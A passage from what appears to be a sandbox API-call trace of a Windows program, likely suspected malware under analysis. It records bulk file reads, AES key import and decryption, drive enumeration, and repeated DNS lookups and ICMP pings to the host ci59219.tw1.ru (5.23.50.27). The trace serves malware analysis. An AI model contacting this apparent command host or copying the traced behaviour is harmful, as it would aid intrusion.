lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.020] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.020] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.020] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.021] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.021] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.021] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.021] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.021] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.021] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.022] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.022] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.022] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.022] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.022] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.024] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.025] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.025] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.025] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.025] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.025] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.025] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.026] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.028] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.028] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.028] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.028] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.028] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.028] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.029] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.030] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.032] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.032] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.032] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.032] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.032] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.032] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.033] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.033] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0175.033] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0176.157] CryptAcquireContextW (in: phProv=0x1dcdc578, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1dcdc578*=0x1b2f1290) returned 1 [0176.158] CryptImportKey (in: hProv=0x1b2f1290, pbData=0x2886290*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1dcdc500 | out: phKey=0x1dcdc500*=0x1d2e80e0) returned 1 [0176.159] CryptContextAddRef (hProv=0x1b2f1290, pdwReserved=0x0, dwFlags=0x0) returned 1 [0176.159] CryptContextAddRef (hProv=0x1b2f1290, pdwReserved=0x0, dwFlags=0x0) returned 1 [0176.159] CryptDuplicateKey (in: hKey=0x1d2e80e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1dcdc4f0 | out: phKey=0x1dcdc4f0*=0x1d2e8460) returned 1 [0176.159] CryptContextAddRef (hProv=0x1b2f1290, pdwReserved=0x0, dwFlags=0x0) returned 1 [0176.159] CryptSetKeyParam (hKey=0x1d2e8460, dwParam=0x4, pbData=0x28863b0*=0x1, dwFlags=0x0) returned 1 [0176.159] CryptSetKeyParam (hKey=0x1d2e8460, dwParam=0x1, pbData=0x2886360, dwFlags=0x0) returned 1 [0176.159] CryptDestroyKey (hKey=0x1d2e80e0) returned 1 [0176.159] CryptReleaseContext (hProv=0x1b2f1290, dwFlags=0x0) returned 1 [0176.159] CryptReleaseContext (hProv=0x1b2f1290, dwFlags=0x0) returned 1 [0176.159] CryptDecrypt (in: hKey=0x1d2e8460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x28863d0, pdwDataLen=0x1dcdc650 | out: pbData=0x28863d0, pdwDataLen=0x1dcdc650) returned 1 [0176.160] CryptDecrypt (in: hKey=0x1d2e8460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28866b0, pdwDataLen=0x1dcdc640 | out: pbData=0x28866b0, pdwDataLen=0x1dcdc640) returned 0 [0177.648] CryptDestroyKey (hKey=0x1d2e8460) returned 1 [0177.648] CryptReleaseContext (hProv=0x1b2f1290, dwFlags=0x0) returned 1 [0177.648] CryptReleaseContext (hProv=0x1b2f1290, dwFlags=0x0) returned 1 [0177.891] CloseHandle (hObject=0x880) returned 1 [0177.960] GetLogicalDrives () returned 0x4 [0177.962] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1dcdd440, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0177.963] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0177.963] CoUninitialize () Thread: id = 294 os_tid = 0xda8 [0174.693] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0174.693] RoInitialize () returned 0x1 [0174.693] RoUninitialize () returned 0x0 [0174.925] CoUninitialize () Thread: id = 295 os_tid = 0xdac [0174.877] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0174.877] RoInitialize () returned 0x1 [0174.877] RoUninitialize () returned 0x0 [0175.651] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d2eb030*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa420*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0175.873] FreeAddrInfoW (pAddrInfo=0x1d2eb030*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa420*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0175.882] IcmpCreateFile () returned 0x1b34f990 [0175.886] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d4215f0 [0175.887] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d2edd50 [0175.887] IcmpSendEcho2 (in: IcmpHandle=0x1b34f990, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d2edd50, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d4215f0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d4215f0) returned 0x1 [0176.114] LocalFree (hMem=0x1d2edd50) returned 0x0 [0176.114] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d2eb4b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa760*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0176.117] FreeAddrInfoW (pAddrInfo=0x1d2eb4b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2fa760*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0176.117] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b33f600 [0176.117] IcmpSendEcho2 (in: IcmpHandle=0x1b34f990, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b33f600, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1d4215f0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d4215f0) returned 0x1 [0176.689] LocalFree (hMem=0x1b33f600) returned 0x0 [0176.690] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d2eb270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", 